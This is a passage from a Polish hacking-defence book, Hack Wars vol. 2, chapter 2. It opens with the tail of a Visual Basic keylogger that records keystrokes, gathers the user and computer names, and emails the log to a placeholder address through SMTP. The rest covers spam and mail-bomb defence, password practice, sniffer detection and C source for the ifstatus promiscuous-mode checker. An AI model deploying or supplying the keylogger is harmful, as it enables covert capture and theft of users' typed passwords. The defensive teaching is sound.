Text1 = Text1 + "]"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "}"
End If
keystate = Getasynckeystate(&HDE)
If Shift = 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "'"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + Chr$(34)
End If
Rozdział 2.
♦
♦
♦
♦
Mechanizmy ochrony przed włamaniami
187
187
keystate = Getasynckeystate(vbKeyMultiply)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "*"
End If
keystate = Getasynckeystate(vbKeyDivide)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "/"
End If
keystate = Getasynckeystate(vbKeyAdd)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "+"
End If
keystate = Getasynckeystate(vbKeySubtract)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "-"
End If
keystate = Getasynckeystate(vbKeyDecimal)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "{Del}"
End If
keystate = Getasynckeystate(vbKeyF1)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "{F1}"
End If
keystate = Getasynckeystate(vbKeyF2)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "{F2}"
End If
keystate = Getasynckeystate(vbKeyF3)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "{F3}"
End If
keystate = Getasynckeystate(vbKeyF4)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "{F4}"
End If
keystate = Getasynckeystate(vbKeyF5)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "{F5}"
End If
keystate = Getasynckeystate(vbKeyF6)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "{F6}"
End If
keystate = Getasynckeystate(vbKeyF7)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "{F7}"
End If
keystate = Getasynckeystate(vbKeyF8)
188
Hack Wars. Tom 2. Na tropie hakerów
188
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "{F8}"
End If
keystate = Getasynckeystate(vbKeyF9)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "{F9}"
End If
keystate = Getasynckeystate(vbKeyF10)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "{F10}"
End If
keystate = Getasynckeystate(vbKeyF11)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "{F11}"
End If
keystate = Getasynckeystate(vbKeyF12)
If Shift = 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "{F12}"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Form1.Visible = True
End If
keystate = Getasynckeystate(vbKeyNumlock)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "{NumLock}"
End If
keystate = Getasynckeystate(vbKeyScrollLock)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "{ScrollLock}"
End If
keystate = Getasynckeystate(vbKeyPrint)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "{PrintScreen}"
End If
keystate = Getasynckeystate(vbKeyPageUp)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "{PageUp}"
End If
keystate = Getasynckeystate(vbKeyPageDown)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "{Pagedown}"
End If
keystate = Getasynckeystate(vbKeyNumpad1)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "1"
End If
keystate = Getasynckeystate(vbKeyNumpad2)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "2"
End If
Rozdział 2.
♦
♦
♦
♦
Mechanizmy ochrony przed włamaniami
189
189
keystate = Getasynckeystate(vbKeyNumpad3)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "3"
End If
keystate = Getasynckeystate(vbKeyNumpad4)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "4"
End If
keystate = Getasynckeystate(vbKeyNumpad5)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "5"
End If
keystate = Getasynckeystate(vbKeyNumpad6)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "6"
End If
keystate = Getasynckeystate(vbKeyNumpad7)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "7"
End If
keystate = Getasynckeystate(vbKeyNumpad8)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "8"
End If
keystate = Getasynckeystate(vbKeyNumpad9)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "9"
End If
keystate = Getasynckeystate(vbKeyNumpad0)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "0"
End If
End Sub
Private Sub Timer2_Timer()
Dim lfilesize As Long, txtlog As String, success As Integer
Dim from As String, name As String
Open logfile For Append As #1
Write #1, Text1
Close #1
Text1.Text = ""
lfilesize = FileLen(logfile)
If lfilesize >= 4000 Then
Text2 = ""
inform
Open logfile For Input As #1
While Not EOF(1)
Input #1, txtlog
DoEvents
Text2 = Text2 & vbCrLf & txtlog
Wend
Close #1
txtstatus = ""
Call StartWinsock("")
190
Hack Wars. Tom 2. Na tropie hakerów
190
success = smtp("mail.smtpserver.net", "25",
"ktos@serwer_poczty.com", "ktos@serwer_poczty.com", "log file",
"Tigerlog",
"ktos@serwer_poczty.com", "l o g f i l e", Text2)
'wysyła zawarto
ść
dziennika do ktos@serwer_poczty.com
If success = 1 Then
Kill logfile
End If
Call closesocket(mysock)
End If
End Sub
Public Sub FormOntop(FormName As Form)
Call SetWindowPos(FormName.hWnd, HWND_TOPMOST, 0&, 0&, 0&, 0&,
flags)
End Sub
Function GetCaption(WindowHandle As Long) As String
Dim Buffer As String, TextLength As Long
TextLength& = GetWindowTextLength(WindowHandle&)
Buffer$ = String(TextLength&, 0&)
Call GetWindowText(WindowHandle&, Buffer$, TextLength& + 1)
GetCaption$ = Buffer$
End Function
Sub inform()
Dim szUser As String * 255
Dim vers As String * 255
Dim lang, lReturn, comp As Long
Dim s, x As Long
lReturn = GetUserName(szUser, 255)
comp = GetComputerName(vers, 1024)
Text2 = "Username- " & szUser
Text2 = Text2 & vbCrLf & "Computer Name- " & vers
End Sub
Pokazane w tym rozdziale programy i towarzyszące pliki modułów są dostępne na dołą-
czonym do tej książki CD-ROM-ie.
Ochrona przed bombardowaniem poczty
i spamowaniem
Poczta elektroniczna stała się w ostatnich latach gwiazdą komunikacji technologicz-
nej zarówno w sektorze prywatnym, jak i korporacyjnym. Z tą popularnością jest jed-
nak związany fakt, iż im więcej ludzi korzysta z e-maila, tym więcej ofiar różnorod-
nych ataków hakerów. Stanie się ofiarą bomby pocztowej lub spamu stało się
praktycznie rytuałem inicjacyjnym wszystkich użytkowników poczty. Na szczęście
istnieją środki zaradcze zapobiegające zarówno niewinnym, jak i bardzo złośliwym
atakom. W tej części przyjrzymy się dokładnie różnym zabezpieczeniom — od technik
zespołu Tiger Team do ochrony serwera. Zaczniemy jednak od dokładnego sklasyfiko-
wania bomby pocztowej i spamu.
Bomby pocztowe to wiadomości elektroniczne, które są zwykle używane
do zablokowania skrzynki pocztowej odbiorcy przez wysłanie niepożądanej
poczty przy użyciu bramy SMTP odbiorcy. Bomby pocztowe mogą przybrać
Rozdział 2.
♦
♦
♦
♦
Mechanizmy ochrony przed włamaniami
191
191
formę jednego e-maila z ogromnym załącznikiem lub tysięcy wiadomości
elektronicznych, które mają na celu przepełnienie skrzynki pocztowej i serwera.
Spamowanie to próba doręczenia wiadomości elektronicznej do osoby, która
nie chciała jej otrzymać i nie prosiła o jej dostarczenie. Najbardziej typowym
przykładem jest rozsyłanie reklam. Inną formą spamu jest oszustwo, kiedy to
napastnik podaje w polu From (Od) wiadomości adres pocztowy innej osoby,
a następnie wysyła masowo e-maile, prosząc o odpowiedź na adres ofiary.
Takie oszustwo może przybrać jeszcze bardziej zaawansowaną formę, gdy
haker wyśle takie fałszywe wiadomości przy użyciu serwera pocztowego ofiary.
Z perspektywy użytkownika najlepiej widocznym świadectwem spamu są nagłówki wia-
domości, które zawierają rzeczywistą trasę e-maila od nadawcy do odbiorcy (patrz rysu-
nek 2.9). Domyślnie te informacje są zwykle ukryte; większość odbiorców chce widzieć
tylko temat i treść wiadomości. Praktycznie wszystkie programy pocztowe oferują jednak
opcję podglądu pełnych nagłówków wiadomości, co pokazano na rysunku 2.10.
Rysunek 2.9.
Widoczne
w nagłówkach
e-maila informacje
o trasie wiadomości
Rysunek 2.10.
Wybór opcji
pokazującej pełne
nagłówki wiadomości
w programach
pocztowych Pegasus
i Microsoft Outlook
Ś
ledząc autoryzowaną i pożądaną pocztę, możemy szybko odfiltrować wiadomości,
które są prawdopodobnie spamem lub oszustwem. Dla przykładu przyjrzyjmy się na-
192
Hack Wars. Tom 2. Na tropie hakerów
192
główkom pokazanym na rysunku 2.9 — ta wiadomość może być zweryfikowana ja-
ko pożądana, ponieważ dane wskazują, iż adresy sender@saddress.com i receiver@
raddress.com zostały uwierzytelnione i przekazane przez serwery poczty smtp.local–
domain.com i smtp-1.saddress.com. Przyjmijmy jednak, iż nadawca sender@saddress.
com rozsyła spam lub niepożądane wiadomości. Możliwe jest szybkie odfiltrowanie tego
adresu przy użyciu filtrów dostępnych w większości obecnych programów pocztowych
(patrz rysunek 2.11). Niektóre z nich, a w szczególności te wykorzystujące frontony
WWW, oferują automatyczną funkcję blokowania prostym kliknięciem. Przykładem są
opcje Yahoo (mail.yahoo.com) pokazane na rysunku 2.12. Na witrynach TuCows
(www.tucows.com) i C|Net (download.cnet.com) znajdziemy wiele programów antyspa-
mowych, gotowych do pobrania, które są zgodne z wieloma platformami.
Jednakże zablokowanie spamera może nie wystarczyć. Być może zdecydujesz się na
całkowite zatrzymanie jego działań, wysłając informację do jego dostawcy usług in-
ternetowych. Zbadanie nagłówków i zawartości wiadomości może dostarczyć infor-
macji, jak tego dokonać. Dla przykładu wykonanie funkcji Whois przez odpowiednią
stronę internetową lub prześledzenie trasy do bramy SMTP spamera może pomóc
w zebraniu informacji o dostawcy Internetu. Uzbrojeni w kopię takiej wiadomości
oraz zebrane informacje o dostawcy możemy zgłosić incydent. Poniższa lista interne-
towych usług pomoże Ci w trakcie krucjaty przeciwko spamerom:
IDENTYFIKACJA SPAMERA:
http://www.anywho.com
http://www.yellowpages.com
http://www.555-1212.com
http://www.databaseamerica.com
http://www.infospace.com/info/reverse.htm
http://www.theultimates.com/white
http://inter800.com
http://canada411.sympatico.ca
http://www.phonenumbers.net
Rozdział 2.
♦
♦
♦
♦
Mechanizmy ochrony przed włamaniami
193
193
Rysunek 2.11.
Zastosowanie filtra
do zablokowania
spamera w programie
Pegasus
Rysunek 2.12.
Wiele klientów poczty
wykorzystujących
przeglądarki ma
proste mechanizmy
blokowania przez
wskazanie i kliknięcie
Ś
LEDZENIE SPAMERA:
http://samspade.org
http://www.thegrid.net/jabberwock/spam
http://combat.uxn.com
http://Network-Tools.com
http://www.domainwatch.com
http://www.rwhois.net
http://www.networksolutions.com
http://net.yahoo.com/cgi-bin/trace.sh
http://www.tsc.com/bobp-bin/traceroute
http://www.multitrace.com
http://www.va.pubnix.com/bin/tc
ZGŁASZANIE INCYDENTU:
http://www.abuse.net
http://spamcom.net
194
Hack Wars. Tom 2. Na tropie hakerów
194
ZASOBY:
Grupy dyskusyjne USENET:
news.admin.net-abuse.bulletins
news.admin.net-abuse.email
news.admin.net-abuse.misc
news.admin.net-abuse.policy
news.admin.net-abuse.sightings
news.admin.net-abuse.usenet
pl.news.mordplik
W przypadku serwera zalecana jest modyfikacja kontaktowych skrzynek pocztowych,
których adresy znajdują się na witrynie WWW, polegająca na utworzeniu ogólnych
kont dla niepożądanej poczty. Może to spowodować redukcję spamu otrzymywanego
przez wewnętrznych użytkowników za pomocą odfiltrowania wiadomości z publicz-
nych skrzynek pocztowych. Ale ochrona przed niepożądaną pocztą i spamem to tylko
początek. Na szczęście większość obecnych demonów serwerów poczty zawiera funk-
cję ochrony przed bombami pocztowymi. Szczegóły dotyczące odpowiedniej konfi-
guracji można znaleźć w podręczniku użytkownika programu. Te informacje będą
obejmowały aspekty konfiguracji wymienione niżej.
Uwierzytelnianie — demon powinien być skonfigurowany na akceptację
tylko lokalnej lub wewnętrznej poczty do przekazywania poczty SMTP.
Blokowanie — zaawansowane filtrowanie umożliwia podanie wiadomości,
które mają być zablokowane dla kont; demon powinien pozwalać
użytkownikom na podanie różnych kryteriów dla wiadomości.
Sprawdzanie — demon powinien być skonfigurowany na akceptację
załączników o ograniczonej wielkości.
Sortowanie — użytkownicy powinni mieć możliwość podania zasad
sortowania swojej poczty; dla przykładu wiadomości z domeny firmy
powinny być przesyłane do służbowej skrzynki pocztowej.
Jednym z narzędzi, zaprojektowanych przede wszystkim do usuwania bomb poczto-
wych z serwera, jest BombSquad (patrz rysunek 2.13). To narzędzie umożliwia
usuwanie bomb pocztowych, odczytując i zapisując ważne wiadomości. Można je wy-
korzystać w skrzynkach pocztowych obsługujących standardowy protokół POP3. Wię-
cej informacji na temat tych środków zabezpieczających można znaleźć w biuletynie in-
formacyjnym CIAC na stronie http://ciac.llnl.gov/ciac/
Ochrona przed łamaniem haseł
Większość programów dla użytkowników, aplikacji udostępniających dane użytkowni-
kom i paneli administracyjnych udostępnia jakąś formę uwierzytelniania przy użyciu ha-
sła, a wiele z nich zawiera także użyteczne procedury szyfrowania. W pierwszym tomie
tej książki zbadaliśmy typowy schemat hasła systemu operacyjnego. Dla przypomnienia,
Rozdział 2.
♦
♦
♦
♦
Mechanizmy ochrony przed włamaniami
195
195
Rysunek 2.13.
Rozbrajanie bomb
pocztowych przy
użyciu narzędzia
BombSquad
kiedy hasło zostanie wprowadzone, jądro uwierzytelniania komputera szyfruje je i doko-
nuje translacji do ciągu znaków, a następnie porównuje je z listą, która jest po prostu prze-
chowywanym w komputerze plikiem z hasłami. Jeśli moduł uwierzytelniania znajdzie
identyczny ciąg znaków, umożliwia dostęp do systemu. Hakerzy, którzy chcą się włamać
do systemu i uzyskać konkretny typ dostępu, zwykle biorą sobie za cel ten plik z hasłami.
Jeśli uda się im uzyskać pewien poziom dostępu, mogą zdobyć kopię takiego pliku, a na-
stępnie użyć programu do łamania haseł w celu translacji zawartych w pliku znaków
z powrotem do oryginalnych haseł!
Chociaż zastosowanie środków ochronnych przed złamaniem haseł jest relatywnie
mało skomplikowane, jest to jednak jeden ze sposobów zabezpieczeń, o których naj-
częściej się zapomina. Konieczne jest podjęcie niezbędnych kroków w celu ustawie-
nia odpowiednich zabezpieczeń (przy użyciu technik poznanych w tej książce i z in-
nych źródeł), a następnie włączenia haseł wygaszaczy ekranów i programów oraz
mechanizmów obronnych systemu operacyjnego i plików (przechowywanie hasel
systemowych w odrębnej bazie — password shadowing — i szyfrowanie DES lub
Blowfish). Przy użyciu narzędzi, takich jak L0phtCrack (www.l0pht.com), możesz
upewnić się, czy hasła kont nie są zbyt proste do odgadnięcia lub złamania przez ha-
kerów. Regularna kontrola plików haseł może pomóc w odnalezieniu prostych haseł;
pamiętaj, że Twój system jest tylko tak bezpieczny, jak jego najsłabsze ogniwo. Pro-
gramy do łamania haseł, takie jak L0phtCrack, są łatwo dostępne i proste w użyciu,
co pokazano na rysunku 2.14.
Pierwszy tom tej książki zawiera dużą liczbę narzędzi do łamania haseł i liczne pliki
słowników.
Prawdopodobnie bezpiecznie można przyjąć, iż większość czytelników nie musi two-
rzyć niemożliwego do złamania programu z ogromnym szyfrowaniem. Należy jednak
pamiętać, że hasła są tak bezpieczne, jak to zostanie ustawione. Jeśli Twój pies ma na
imię Reks i wiedzą o tym nawet osoby, które znasz bardzo słabo, nie używaj tej nazwy
jako hasła. Nie zapominaj, że istnieją programy badające schematy uwierzytelniania
przy użyciu nazw praktycznie wszystkich obiektów ożywionych i nieożywionych.
196
Hack Wars. Tom 2. Na tropie hakerów
196
Rysunek 2.14.
Okresowe
monitorowanie
plików haseł przy
użyciu narzędzi
do łamania haseł
typu L0phtCrack
może zredukować
liczbę osób
próbujących
włamać się
do systemu
Oczywiście przede wszystkim należy dokonać implementacji trudnego do złamania
mechanizmu szyfrowania. Istnieją doskonałe narzędzia komercyjne, darmowe i sha-
reware do szyfrowania zawartości plików i wiadomości e-mailowych. Aby odnaleźć
program odpowiedni dla Ciebie, użyj jakiejś popularnej wyszukiwarki, na przykład
Yahoo (www.yahoo.com), Google (www.google.com) lub Wirtualna Polska (www.wp.pl),
a także odwiedź witrynę z oprogramowaniem — wspominaliśmy już wcześniej o Tu-
Cows (www.tucows.com) i C|Net (download.cnet.com).
Kolejną fazą ochrony przed złamaniem hasła jest zastosowanie własnego schematu ha-
sła, który charakteryzuje się jedną podstawową zasadą — nigdy nie używaj prawdzi-
wego słowa jako całości lub części nazwy użytkownika i hasła. Zamiast tego należy
korzystać ze znaków o różnej wielkości (małych i dużych liter) wraz z cyframi i znakami
specjalnymi (w zależności od tego, jakie znaki specjalne są obsługiwane). Kolejna
ogólna zasada nakazuje użycie co najmniej ośmiu znaków dla każdej nazwy użytkownika
i hasła. Przykładem dobrej kombinacji jest nazwa J16vNj30 i hasło dg101Ko5.
Posiadanie wielu nazw logowania i haseł jest kolejną skuteczną formą zabezpieczania
haseł, choć sprawia to jeden podstawowy problem — jak zapamiętać te wszystkie
dziwne nazwy i hasła? Oczywiście nie należy ich zapisywać nigdzie, ponieważ mijało-
by się to z celem. Rozwiązaniem może być zastosowanie programu, takiego jak Tiger-
Crypt, w celu bezpiecznego przechowywania, odczytu i generowania haseł.
TigerCrypt używa 128-bitowego szyfrowania w celu zapewnienia bezpieczeństwa i pry-
watności osobistych haseł. Dołączona do tej książki wersja narzędzia obsługuje wiele
profili użytkowników. Rysunek 2.15 pokazuje, jak prosta jest jego obsługa — należy
Rozdział 2.
♦
♦
♦
♦
Mechanizmy ochrony przed włamaniami
197
197
z rozwijanej listy wybrać zarejestrowany profil lub utworzyć nowy. W czasie tworze-
nia nowego profilu trzeba pamiętać o wybraniu opcji Remember this user profile, jeśli
chcesz, aby nazwa profilu była dołączona do głównej rozwijanej listy logowania
(patrz rysunek 2.16).
Rysunek 2.15.
Główny ekran
logowania programu
TigerCrypt
Rysunek 2.16.
Tworzenie nowego
użytkownika jest
bardzo proste
w programie
TigerCrypt, który
obsługuje wiele
profili
Przy użyciu głównego interfejsu TigerCrypt (patrz rysunek 2.17) możesz dodać lub
usunąć zaszyfrowane konta logowania. Program przechowuje bezpiecznie wiele nazw
logowania, haseł, nazw serwerów i informacji o kontach; są one dostępne tylko po
podaniu hasła danego profilu. Zaszyfrowane dane mogą być również eksportowane
i importowane do plików. Głównym powodem istnienia tej funkcji jest obsługa prze-
mieszczających się użytkowników oraz przyszła zgodność z urządzeniami typu PDA
(cyfrowy asystent osobisty). Aby umożliwić wprowadzenie zalecanej cotygodniowej
zmiany hasła, TigerCrypt zawiera generator losowych haseł w celu natychmiastowego
tworzenia skomplikowanych haseł. Odpowiednia opcja interfejsu umożliwia wybór
długości hasła oraz dostępnych znaków (duże i małe litery, cyfry, klawisze rozszerzo-
ne i symbole), które mają być losowo stosowane (patrz rysunek 2.18).
Wspominaliśmy już w tej książce o ostatniej zasadzie, której należy przestrzegać
w celu zabezpieczenia przed złamaniem hasła, ale warto ją tu przypomnieć — nigdy
nie podawaj nikomu swojej nazwy użytkownika lub hasła. Mówiąc krótko, te dane
powinieneś zabrać ze sobą do grobu.
Ochrona przed podsłuchem
Szperacz (sniffer) to program, który pasywnie przechwytuje i kopiuje cały ruch sie-
ciowy w systemie, serwerze, routerze lub firewallu. „Legalne” szperacze umożliwiają
m.in. monitorowanie sieci i rozwiązywanie problemów. W przeciwieństwie do nich
ukryte szperacze zainstalowane przez hakerów mogą być wyjątkowo niebezpieczne,
198
Hack Wars. Tom 2. Na tropie hakerów
198
Rysunek 2.17.
Nawigacja
w głównym interfejsie
TigerCrypt
Rysunek 2.18.
Generowanie
losowych haseł
w TigerCrypt
ponieważ są trudne do wykrycia. Mogą one przechwytywać poufne dane, informacje
o sieci, a nawet hasła wysyłane otwartym tekstem. Niektóre szperacze, takie jak Jugger-
naut for Linux, mają możliwość przerywania lub przejęcia sesji Telnetu, wstawiając pakiet
do serwera z oszukanym adresem źródłowym. Od tego momentu może być tylko gorzej.
Najskuteczniejszym i najszybszym zabezpieczeniem przed użyciem szperacza do
podsłuchu sieci lub stacji roboczej jest użycie technik opisanych w tej i innych książ-
kach. Inne środki ochronne obejmują podział sieci na segmenty przy użyciu przełącz-
ników. Techniczna teoria mówi: jeśli każde urządzenie znajduje się we własnym segmen-
cie i domenie rozgłaszania, to szperacz będzie mógł przechwycić informacje tylko
z danej stacji roboczej. Według kolejnej zasady projektowania sieci należy użyć kart
sieciowych, które nie obsługują trybu podsłuchowego (promiscuos mode). Większość
szperaczy opiera swoje działanie na wykorzystaniu takich kart (w trybie podsłuchowym
karta sieciowa nie bierze udziału w komunikacji sieciowej, a tylko kopiuje cały ruch do
celów własnej analizy).
Rozdział 2.
♦
♦
♦
♦
Mechanizmy ochrony przed włamaniami
199
199
Jednym ze sposobów na stwierdzenie, czy w danym systemie działa szperacz, jest prze-
szukanie systemu operacyjnego przy użyciu określonego polecenia, na przykład
w systemach Unix jest to polecenie ifconfig -a. Jeśli system jest prawidłowo skonfigu-
rowany, komunikat wynikowy poinformuje, czy karta sieciowa znajduje się w trybie
podsłuchowym. Inne dostępne polecenia to narzędzie do wyświetlania aktywnych proce-
sów o nazwie ps, a także program o nazwie Check Promiscuous Mode (CPM), dostęp-
ny na witrynie www.cert.org. Dobrym narzędziem do wykrywania i usuwania ukrytych
procesów (takich jak szperacz) w systemach Windows jest TigerWipe, przedstawiony
w rozdziale 1.
Inny popularny program uniksowy o nazwie ifstatus może być uruchomiony w celu
identyfikacji kart sieciowych, które znajdują się w trybie podsłuchowym, lub usuwa-
nia błędów (debug mode). To narzędzie nie wyświetla zwykle żadnych komunikatów
wynikowych, chyba że odnajdzie karty sieciowe pracujące w niezabezpieczonym try-
bie. Jeśli się to zdarzy, wyświetlony zostanie następujący komunikat:
WARNING: TEST1.TIGER INTERFACE le0 IS IN PROMISCUOS MODE.
WARNING: TEST1.TIGER INTERFACE le1 IS IN DEBUG MODE.
ifstatus.c
#include <sys/param.h>
#include <ctype.h>
#include <stdio.h>
#ifndef MAXHOSTNAMELEN
#define MAXHOSTNAMELEN 64
#endif
char *hostName = NULL;
char *programName = NULL;
int verbose = 0;
main(argc, argv)
char **argv;
int argc;
{
char *p;
char hostNameBuf[MAXHOSTNAMELEN+1];
programName = *argv;
hostName = hostNameBuf;
while (--argc) {
if (**++argv != '-')
usage();
switch (*++*argv) {
case 'v':
verbose++;
break;
default:
usage();
break;
}
}
200
Hack Wars. Tom 2. Na tropie hakerów
200
if (gethostname(hostNameBuf, sizeof(hostNameBuf)) < 0)
fatal("gethostname", NULL);
for (p = hostName; *p != '\0'; p++) {
if (islower(*p))
*p = toupper(*p);
}
checkInterfaces();
exit(0);
}
fatal(s1, s2)
char *s1, *s2;
{
fprintf(stderr, "%s: ", programName);
if (s2 != NULL)
fprintf(stderr, "%s: ", s2);
perror(s1);
exit(1);
}
usage()
{
fprintf(stderr, "U
ż
ycie: %s [-v]\n", programName);
exit(1);
}
ifgeneric.c
#if defined(BSD) || defined(HPUX) || defined(SUNOS4)
#include <sys/param.h>
#include <sys/socket.h>
#ifdef SUNOS4
#include <sys/sockio.h>
#endif
#include <sys/ioctl.h>
#include <net/if.h>
#include <stdio.h>
extern char *hostName;
extern int verbose;
checkInterfaces()
{
int n, s;
char cbuf[1024];
struct ifconf ifc;
struct ifreq ifr, *ifrp;
if ((s = socket(AF_INET, SOCK_DGRAM, 0)) < 0)
fatal("socket", NULL);
ifc.ifc_buf = cbuf;
ifc.ifc_len = sizeof(cbuf);
if (ioctl(s, SIOCGIFCONF, (char *) &ifc) < 0)
Rozdział 2.
♦
♦
♦
♦
Mechanizmy ochrony przed włamaniami
201
201
fatal("ioctl: SIOCGIFCONF", NULL);
close(s);
ifrp = ifc.ifc_req;
for (n = ifc.ifc_len / sizeof(struct ifreq); n > 0; n--, ifrp++)
{
if ((s = socket(AF_INET, SOCK_DGRAM, 0)) < 0)
fatal("socket", NULL);
strcpy(ifr.ifr_name, ifrp->ifr_name);
if (ioctl(s, SIOCGIFFLAGS, (char *) &ifr) < 0)
fatal("ioctl: SIOCGIFFLAGS", NULL);
if (verbose) {
printf("Interface %s: flags=0x%x\n", ifr.ifr_name,
ifr.ifr_flags);
}
if (ifr.ifr_flags & IFF_PROMISC) {
printf("WARNING: %s INTERFACE %s IS IN PROMISCUOS
MODE.\n",
hostName, ifr.ifr_name);
}
if (ifr.ifr_flags & IFF_DEBUG) {
printf("WARNING: %s INTERFACE %s IS IN DEBUG MODE.\n",
hostName, ifr.ifr_name);
}
close(s);
}
}
#endif /* BSD || HPUX || SUNOS4 */
if-solaris.c
#if defined(SUNOS5)
#include <sys/param.h>
#include <sys/stream.h>
#include <sys/dditypes.h>
#include <sys/ethernet.h>
#include <nlist.h>
#include <fcntl.h>
#include <stdio.h>
#include <kvm.h>
#include "if-solaris.h"
struct nlist nl[] = {
#define X_IE 0
{ "iedev" },
#define X_LE 1
{ "ledev" },
#define X_QE 2
{ "qeup" },
#define X_HME 3
{ "hmeup" },
#define X_XX 4
202
Hack Wars. Tom 2. Na tropie hakerów
202
{ 0 }
};
extern char *hostName;
extern char *programName;
extern int verbose;
checkInterfaces()
{
kvm_t *kd;
if ((kd = kvm_open(NULL, NULL, NULL, O_RDONLY, programName)) ==
NULL)
fatal("kvm_open", NULL);
if (kvm_nlist(kd, nl) < 0)
fatal("kvm_nlist", NULL);
if (nl[X_IE].n_value != 0)
checkIE(kd);
if (nl[X_LE].n_value != 0)
checkLE(kd);
if (nl[X_QE].n_value != 0)
checkQE(kd);
if (nl[X_HME].n_value != 0)
checkHME(kd);
kvm_close(kd);
}
checkIE(kd)
kvm_t *kd;
{
struct ie ie;
struct dev_info di;
u_long ieaddr, dipaddr;
ieaddr = nl[X_IE].n_value;
do {
if (kvm_read(kd, ieaddr, (char *) &ie, sizeof(struct ie)) < 0)
fatal("kvm_read: ie", NULL);
dipaddr = (u_long) ie.ie_dip;
ieaddr = (u_long) ie.ie_nextp;
if (dipaddr == 0)
continue;
if (kvm_read(kd, dipaddr, (char *) &di, sizeof(struct
dev_info))
< 0)
continue;
if (verbose) {
printf("Interface ie%d: flags=0x%x\n",
di.devi_instance, ie.ie_flags);
}
Rozdział 2.
♦
♦
♦
♦
Mechanizmy ochrony przed włamaniami
203
203
if (ie.ie_flags & IEPROMISC) {
printf("WARNING: %s INTERFACE ie%d IS IN PROMISCUOS
MODE.\n",
hostName, di.devi_instance);
}
} while (ieaddr != 0);
}
checkLE(kd)
kvm_t *kd;
{
struct le le;
struct dev_info di;
u_long leaddr, dipaddr;
leaddr = nl[X_LE].n_value;
do {
if (kvm_read(kd, leaddr, (char *) &le, sizeof(struct le)) <
0)
fatal("kvm_read: le", NULL);
dipaddr = (u_long) le.le_dip;
leaddr = (u_long) le.le_nextp;
if (dipaddr == 0)
continue;
if (kvm_read(kd, dipaddr, (char *) &di, sizeof(struct
dev_info)) < 0)
continue;
if (verbose) {
printf("Interface le%d: flags=0x%x\n",
di.devi_instance, le.le_flags);
}
if (le.le_flags & LEPROMISC) {
printf("WARNING: %s INTERFACE le%d IS IN PROMISCUOS
MODE.\n",
hostName, di.devi_instance);
}
} while (leaddr != 0);
}
checkQE(kd)
kvm_t *kd;
{
struct qe qe;
struct dev_info di;
u_long qeaddr, dipaddr;
qeaddr = nl[X_QE].n_value;
do {
if (kvm_read(kd, qeaddr, (char *) &qe, sizeof(struct qe)) <
0)
fatal("kvm_read: qe", NULL);
dipaddr = (u_long) qe.qe_dip;
qeaddr = (u_long) qe.qe_nextp;
204
Hack Wars. Tom 2. Na tropie hakerów
204
if (dipaddr == 0)
continue;
if (kvm_read(kd, dipaddr, (char *) &di, sizeof(struct
dev_info)) < 0)
continue;
if (verbose) {
printf("Interface qe%d: flags=0x%x\n",
di.devi_instance, qe.qe_flags);
}
if (qe.qe_flags & QEPROMISC) {
printf("WARNING: %s INTERFACE qe%d IS IN PROMISCUOS
MODE.\n",
hostName, di.devi_instance);
}
} while (qeaddr != 0);
}
checkHME(kd)
kvm_t *kd;
{
struct hme hme;
struct dev_info di;
u_long hmeaddr, dipaddr;
hmeaddr = nl[X_HME].n_value;
do {
if (kvm_read(kd, hmeaddr, (char *) &hme, sizeof(struct hme))
< 0)
fatal("kvm_read: hme", NULL);
dipaddr = (u_long) hme.hme_dip;
hmeaddr = (u_long) hme.hme_nextp;
if (dipaddr == 0)
continue;
if (kvm_read(kd, dipaddr, (char *) &di, sizeof(struct
dev_info)) < 0)
continue;
if (verbose) {
printf("Interface hme%d: flags=0x%x\n",
di.devi_instance, hme.hme_flags);
}
if (hme.hme_flags & HMEPROMISC) {
printf("WARNING: %s INTERFACE hme%d IS IN PROMISCUOS
MODE.\n",
hostName, di.devi_instance);
}
} while (hmeaddr != 0);
}
#endif /* SUNOS5 */
Obecnie administratorzy testują poważne modyfikacje infrastruktury sieciowej, któ-
re obejmują przełączniki, prywatne sieci wirtualne (Virtual Private Network —
VPN), a także techniki kryptograficzne. Dzięki implementacji takich rozwiązań in-
formacje używane do logowania oraz transmisja danych mogą być szyfrowane w celu
uniknięcia narażenia się na nieautoryzowane procedury podsłuchu. Skontaktuj się
z producentami urządzeń i poproś o dostarczenie informacji na temat stosowanych
przez nich własnych opcji szyfrowania.
Rozdział 2.
♦
♦
♦
♦
Mechanizmy ochrony przed włamaniami
205
205
Użytkownicy domowi, korporacyjni i prywatni systemu Windows, którzy chcą wykorzy-
stać szyfrowanie i mieć nad tym procesem całkowitą kontrolę, mogą użyć narzędzia En-
cryptor, pokazanego na rysunku 2.19, a utworzonego przez STeRoiD. Dzięki niemu moż-
